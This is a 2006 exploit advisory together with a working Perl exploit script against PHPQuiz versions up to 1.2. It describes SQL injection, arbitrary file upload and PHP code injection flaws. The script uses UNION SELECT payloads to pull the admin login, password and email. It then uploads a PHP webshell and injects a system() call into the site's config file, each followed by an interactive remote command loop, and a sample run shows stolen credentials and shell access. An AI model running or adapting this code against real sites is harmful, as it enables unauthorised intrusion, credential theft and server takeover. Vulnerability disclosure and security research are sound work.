###################################################### # # Title: PHPQuiz <= v.1.2 Remote SQL injection/Code Execution Exploit # Vendor : PHPQuiz # webiste : http://www.phpquiz.com # Version : <= v.1.2 # Severity: Critical # Author: Simo64 / simo64_at_morx_org # MorX Security Reseach Team # http://www.morx.org # http://www.morx.org/phpquiz.txt # # Details : # # SQL injection in score.php #*************************** # # univers var in score.php and quiz_id var in home.php are not proprely verified and can be used to inject query # # PoC : http://localhost/phpquiz/front/?what=score&univers=[SQL] # http://localhost/phpquiz/front/?quiz=quiz&univers=1&step=1&quiz_id=[SQL] # # Arbitary File Upload #********************** # vulnerable code in back/upload_img.php and admin/upload_img.php near lines 74-76 # # 74 if (($upload) && ($ok_update == "yes")) { # 75 # 76 if(@copy($image, $path)){ # 77 ..... # # $upload , $ok_update , $image , $path variables are not sanitized and can be used to upload files # # PoC Exploit : # #

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# # # phpquiz/img_quiz/ folder is by defaut writable so after uploading a simple phpshell # # we can lanche cmd from : http://localhost/phpquiz/img_quiz/l3ez.php?cmd=ls # # PHP Code Injection #******************** # # cfgphpquiz/install.php is accessible without authentification , the script is used to # save configuration setting in config.inc.php. # # Impact: # any remote user can post php code to the vulnerable file, view current configuration which contains sensitive information # such as admin password (plain text) and login # #*********************************************************************************** # # simo64@localhost:~$ phpquiz.pl morx.org /phpquiz/ 1 # # /-----------------------------------------------------------\ # | PHPQuiz v.1.2 Remote SQL injection/Code Execution Exploit | # | Coded by simo64 - simo64_morx.org | # | www.morx.org | # |-----------------------------------------------------------| # | MorX Security Research Team © | # \-----------------------------------------------------------/ # # Connecting to www.morx.org ... Connected ! # # [+] Injecting credentials # # Sending Data ... # # SQL injection Succeded ! # # User EMail : admin@morx.org # User Login : admin # User Passwd : password # # [+] Exec CMD by uploading a shell Connected ! # # Uploading shell ... [OK] # # Checking if successfully Uploaded .... [OK] # # NOW YOU CAN LAUNCH COMMANDS # # simo64[at]morx.org :~$ id # uid=48(apache) gid=48(apache) groups=48(apache),2522(psaserv) # simo64[at]morx.org :~$ pwd # /home/morx/public_html/phpquiz/img_quiz # simo64[at]morx.org :~$ ls # id_1.gif # id_2.gif # id_3.gif # id_4.gif # index.php # zaz.php # simo64[at]morx.org :~$ exit # #!/usr/bin/perl use IO::Socket ; use LWP::Simple ; print q( /-----------------------------------------------------------\ | PHPQuiz v.1.2 Remote SQL injection/Code Execution Exploit | | Coded by simo64 - simo64_morx.org | | www.morx.org | |-----------------------------------------------------------| | MorX Security Research Team © | \-----------------------------------------------------------/ ); sub usage(){ print "\nUsage :perl $0 siteurl /path/ userid\n"; print "\nExemple : perl $0 phpquiz.com /phpquiz/ 1\n"; } if(!@ARGV){ &usage(); exit(0) } $host = $ARGV[0]; $path = $ARGV[1]; $uid = $ARGV[2]; $success = null ; $injected = 0; $injcheck = $path."cfgphpquiz/config.inc.php?xD=l3fou"; $phpinject = $path."cfgphpquiz/install.php?submit=Valider&config_alert_email_name=%22;echo%20\@\$xD;\@system(\$morx);//MorX%20RulZ%20=)"; $injectuser = "front/?what=score&univers=-64%20UNION%20SELECT%20null,LOGIN,null,null,null,null,null,null,null,null%20FROM%20user%20WHERE%20ID=$uid/*"; $injectpass = "front/?what=score&univers=-64%20UNION%20SELECT%20null,PWD,null,null,null,null,null,null,null,null%20FROM%20user%20WHERE%20ID=$uid/*"; $injectmail = "front/?what=score&univers=-64%20UNION%20SELECT%20null,EMAIL,null,null,null,null,null,null,null,null%20FROM%20user%20WHERE%20ID=$uid/*"; syswrite STDOUT , "Connecting to $host ..."; my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",); die "\n\nUnable to connect to $host " unless($sock) ; syswrite STDOUT , "\tConnected !\n\n\[+] Injecting credentials\n\nSending Data ..."; print $sock "GET $path$injectmail HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Connection: Close\n\n"; while($res = <$sock>){ if($res =~ /anim_fleche_droite.gif" border="0"> "(.*?)"<\/a>/){ $usermail = $1 ; $success = "ok" ; } } if($success eq "ok") { syswrite STDOUT , "\n\nSQL injection Succeded !\n\n"; sleep 2 ; syswrite STDOUT , "\tUser EMail : $usermail\n"; my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",); print $sock "GET $path$injectuser HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Connection: Close\n\n"; while($res = <$sock>){ if($res =~ /> "(.*?)"/){ $userlogin = $1 ; } } syswrite STDOUT , "\tUser Login : $userlogin\n"; my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",); print $sock "GET $path$injectpass HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Connection: Close\n\n"; while($res = <$sock>){ if($res =~ /> "(.*?)"/){ $userpass = $1 ; } } syswrite STDOUT , "\tUser Passwd : $userpass\n\n"; } else {print "\n\nInjecting credentials Exploit Failed !\n\n";} sleep 2; # PART2 Remote Command Execution by uploaing shell syswrite STDOUT , "\n[+] Exec CMD by uploading a shell"; my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",); die "\n\nUnable to connect to $host " unless($sock) ; syswrite STDOUT , "\tConnected !\n\n"; syswrite STDOUT , "Uploading shell ..."; $data='-----------------------------7d61592213049c Content-Disposition: form-data; name="dir" / -----------------------------7d61592213049c Content-Disposition: form-data; name="image"; filename="zaz.php" Content-Type: text/plain -----------------------------7d61592213049c Content-Disposition: form-data; name="submit" Upload -----------------------------7d61592213049c-- '; $script = $path."/back/upload_img.php?upload=1&ok_update=yes&path=./../img_quiz/zaz.php"; $len = length $data ; print $sock "POST $script HTTP/1.0\r\n"; print $sock "Content-Type: multipart/form-data; boundary=---------------------------7d61592213049c\r\n"; print $sock "Host: $host\r\n"; print $sock "Content-Length: $len\r\n"; print $sock "Connection: close\r\n\r\n"; print $sock $data; syswrite STDOUT , "\t[OK]\n\nChecking if successfully Uploaded .... "; my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",); print $sock "HEAD $path"."img_quiz/zaz.php HTTP/1.0\r\n"; print $sock "Host: $host\r\n"; print $sock "Connection: close\n\n"; while($rep = <$sock>){ if($rep =~ /HTTP\/1.1 200 OK/) { $success = 1; } } if($success == 1){ print "\t[OK]\n\n\t\tNOW YOU CAN LAUNCH COMMANDS\n\n"; while(){ print "simo64[at]morx.org :~\$ "; chop($cmd=); exit() if ($cmd eq 'exit'); $result = get("http://$host".$path."img_quiz/zaz.php?cmd=$cmd"); print $result; } } else { print "\tFailed !\n\nFile Upload Failed\n\n" } # STEP 3 Injecting PHPcode into config.inc.php file print "\n[+] Injecting PHP Code......\n\nConnecting ...."; my $sock = new IO::Socket::INET (PeerAddr => "$host",PeerPort => "80",Proto => "tcp",); die "Connot Connect to $host !" unless($sock); print "\tConnected !\n\nSending Data ....\t"; print $sock "GET $phpinject HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "User-Agent: MorX-Zilla\n"; print $sock "Connection: Close\n\n"; print "\t OK\n\nChecking if code injected ..."; my $sock = new IO::Socket::INET (PeerAddr => "$host",PeerPort => "80",Proto => "tcp",); print $sock "GET $injcheck HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "User-Agent: MorX-Zilla\n"; print $sock "Connection: Close\n\n"; while($check = <$sock>){ if($check =~ /l3fou/) { $injected = 1; } } if($injected == 1 ){ print "\tSucceded !\n\n\tNOW YOU ARE IN !\n\n"; while(){ print "simo\@morx.org :~\$ "; $cmd = ; chop($cmd); exit(0) if($cmd eq "exit"); $result = get("http://".$host.$path."cfgphpquiz/config.inc.php?morx=$cmd"); print $result; } } else {print "\tFailed\n\nPHPCode Injection Failed !\n\n";} # milw0rm.com [2006-09-16]

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